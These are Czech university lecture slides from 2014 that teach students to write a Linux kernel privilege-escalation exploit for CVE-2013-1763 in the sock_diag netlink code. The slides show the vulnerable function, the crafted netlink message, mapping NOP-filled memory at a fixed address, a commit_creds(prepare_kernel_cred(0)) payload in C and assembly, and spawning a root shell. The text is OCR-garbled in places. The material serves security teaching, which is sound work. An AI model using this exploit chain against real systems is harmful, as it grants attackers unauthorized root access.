PB173 - Ovladače jádra - Linux XIII. Exploit ve 2 hodinách Jiri Slabý Fakulta informatiky Masarykova univerzita 16. 12. 2014 Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 1/24 Exploit ve 2 hodinách Q Výběr chyby a její popis Q Psaní exploitu • Vykonání__sock_diag_rcv_msg • Dosažení chyby ve funkci • Spuštění rootovského shellu Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 2/24 Sekce 1 Výběr chyby a její popis Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 3/24 Výběr chyby Kam se dívat • Exploit database • http://www.exploit-db.com/ • Přes 30'000 exploitů • Nejen pro Linuxové jádro Vybrali jsme chybu v Netlink kódu Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 4/24 Popis chyby • Zranitelnosti jsou číslované • CVE (http://cve.mitre.org/) • Tato je CVE-2013-1763 • Chyba ve funkci __sock_diag_rcv_msg • Obsluha zpráv • Netlink rodina: af_netlink • Diagnostická vrstva: netlink_sock_diag • Typ zprávy: struct sock_diag_req (viz dále) • Zabalená v Netlink hlavičce: struct nimsghdr __sock_diag_rcv_msg obsluhuje zprávy od uživatele. A nesplňuje „POZOR"! Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 5/24 sock_diag_rcv_msg static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; /* AF_MAX is 41 */ static const struct sock_diag_handler *sock_diag_handlers[AF_MAX]; /* AF_MAX is 41 */ static int_sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh) { int err; struct sock_diag_req *req = nlmsg_data(nlh); const struct sock_diag_handler *hndl; if (nlmsgjen(nlh) < sizeof(*req)) return -EINVAL; if (req->sdiag_family >= AF_MAX) /* commit 6e601a5356 */ return -EINVAL; mutex_lock(&sock_diag_table_mutex); hndl = sock_diag_handlers[req->sdiag_family]; /* use of user's req->sdiag_family (_u8) */ if (hndl == NULL) err = -ENOENT; else err = hndl->dump(skb, nlh); /* dereference */ mutex unlock(&sock diag table mutex);_ Jiri Slaby (Fakulta informatiky, MU) PB173/02 16.12.2014 6/24 Sekce 2 Psaní exploitu Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 7/24 Psaní exploitu Obecně Co jádro (nechtěně) dělá a Čte/zapisuje z/na uživatelem daný ukazatel • Skáče na uživatelem danou adresu «... K čemu jádro přimět • Pád • DoS • Spustit uživatelův kód 9 Eskalace oprávnění Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 8/24 Psaní exploitu Pro __sock_diag_rcv_msg Tři základní kroky Q Vykonat__sock_diag_rcv_msg O Dostat se k chybě ve funkci • Zneužít ji! O Spustit rootovský shell Jíri Slabý (Fakulta informatiky, MU) 16.12.2014 9/24 Subsection 1 Vykonání__sock_diag_rcv_msg Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 10/24 Vykonání funkce Vytvoření zprávy Zpráva SOCK.diag vrstvy struct { struct nlmsghdr nlh; /* Netlink header*/ struct unix_diag_req r; /* Message from user */ } req; : nlmsghdr .nlmsg len = sizeof(req); .nlmsg type = SOCK DIAG BY FAMILY; .nlmsgjlags = N LM_F_ROOT| N LM_F_M ATC H | N LM_F_REQU EST; .nlmsg_seq = 123456; Jiri Slabý (Fakulta informatiky, MU) PB173/02 16. 12. 2014 11/24 Vykonání funkce Vytvoření soketu Dva podkroky O Vytvoření soketu: socket • Rodina: AF_NETLINK • Protokol: NETLINK_SOCK_DIAG Q Odeslání zprávy: send Jiri Slabý (Fakulta informatiky, MU) Úkol Vykonání funkce O Vytvořte soket O Vytvořte a pošlete zprávu O Můžete pomocí ftrace ověřit, že se funkce vykonala • /sys/kernel/debug/tracing/README Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 13/24 Subsection 2 Dosažení chyby ve funkci Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 14/24 Dosažení chyby ve funkci Opakování kódu jádra static const struct sock_diag_handler *sock_diag_handlers[41]; hndl = sock_diag_handlers[req->sdiag_family]; err = hndl->dump(skb, nlh); struc ; unix_diag_req _u8 sdiag_family; u8 sdiag_protocol; _u16 pad; u32 udiag_states; u32 udiagjno; _u32 udiag_show; u32 udiag_cookie[2]; Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 15/24 Úkol Dosažení chyby ve funkci O Nastavte správný prvek O Pošlete zprávu 0 Pozorujte pád O Restartujte systém Jiri Slabý (Fakulta informatiky, MU) Vyvolání specifické adresy Opakování kódu jádra static const struct sock_diag_handler *sock_diag_handlers[41]; hndl = sock_diag_handlers[req->sdiag_family]; err = hndl->dump(skb, nlh); Při dobře zvoleném indexu, lze zavolat předvídatelnou adresu • Index je __u8 • Maximální hodnota: 255 • Např. struktura ni_tabie je poblíž • nl_table .hash. rehash_time J6 j if f ies • K výpočtu pomůže System.map Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 17/24 Oops BUG: unable to handle kernel paging request at 0000000100012a5c IP: [<0000000100012a5c>] 0x100012a5c Call Trace: [< ffffffffSI 439e66 >] ? sock_diag_rcv_msg+0x76/0x130 [< ffffffff81439df0 >] ? sock_diag_unregister+0x50/0x50 [< ffffffff81519145 >] ? ftrace_graph_caller+0x85/0x85 [< ffffffff81451659 >] netlink_rcv_skb+0xa9/0xc0 [< ffffffff81439d24 >] ? sock_diag_rcv+0x24/0x40 [< ffffffffSI 450c7a >] ? netlink_unicast+0xda/0x1b0 [< ffffffff8145107c >] ? netlink_sendmsg+0x32c/0x750 [< ffffffffSI 40eb6b >] ? sock_sendmsg+0x8b/0xc0 [< ffffffffSI 186d3d >] ? _kmalloc+0x1cd/0x4a0 [< ffffffff81412103 >] ? sk_prot_alloc+0xb3/0x180 [< ffffffffS1186047 >] ? kmem_cache_alloc_trace+0x207/0x450 [< ffffffff8140ecd1 >] ? SYSC_sendto+0xf1/0x180 [< ffffffff811a06ae >] ? allocjile+0x1e/0xf0 [< ffffffff8140bcaf >] ? sock_alloc_file+0x9f/0x130 [< ffffffffSI 1ba6aa >] ? _fd_install +0x1a/0x40 [< ffffffff815192a9 >] ? system_call_fastpath+0x16/0x1 b Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 18/24 Mapování adresy Oops byl na OxOOOOOOOioooi2a5c • Namapovat a naplnit smysluplným kódem! • mmap na předem danou adresu 9 První parametr: 0x0000000100000000 • Délka mapování: dostatečná (např. 0x2000000) • Ochrana: prot_read | prot_write | prot_exec • Vlaječky: map_private I map_fixed I map_anqnymqus • Vyplnit instrukcí ret (0xc3 na x86) Úkol: namapujte a vyplňte Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 19/24 Subsection 3 Spuštění rootovského shellu Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 20/24 Eskalace oprávnění Volání funkcí jádra V jádře je to jednoduché com m it_creds(prepare_kernel_cred (0)); Ale jak linkovat funkce jádra v uživatelském prostoru? • Najít adresu • Např. ze System.map 9 Uvažme adresu A funkce x() • Volat nepřímo • void (*y)()= A; yO; Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 21 /24 Eskalace oprávnění Kód Kód k eskalaci oprávnění int (*commit_creds)(unsigned long) = X; unsigned long (*prepare_kernel_cred)( unsigned long) = Y; int kemel_code() { commit_creds(prepare_kernel_cred(0)); return 1; } void _ void jump(void); jump_end(void); void jump_payload_not_used() { asm volatile ("_jump:\n" "movq $kernel_code, %rax\n" "jmpq *%rax\n" "_jump_end:\n"); } Exploit's .text 0x100000000 int kernel_code() { commit_creds(prepare_kernel_cred(0)); return 1; } nop nop nop movq $kernel_code, %rax jmpq *%rax Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 22/24 Spuštění rootovského shellu Zavolání naší funkce const unsigned long jump_sz =_jump_end -_jump; memset((void *)mmap_start, 0x90, mmap_size); /* 0x90 is 'nop' */ memcpy((void *)mmap_start + mmap_size - jump_sz,_jump, jump_sz); Spuštění shellu if (!getuid()) system("/bin/sh"); Jiri Slabý (Fakulta informatiky, MU) PB173/02 16.12.2014 23/24 Úkol Spuštění rootovského shellu O Vytvořte si kód pro zavolání jádrem • C i assembler, který ho bude volat O Spusťte si shell o Po kontrole UID Jiri Slabý (Fakulta informatiky, MU)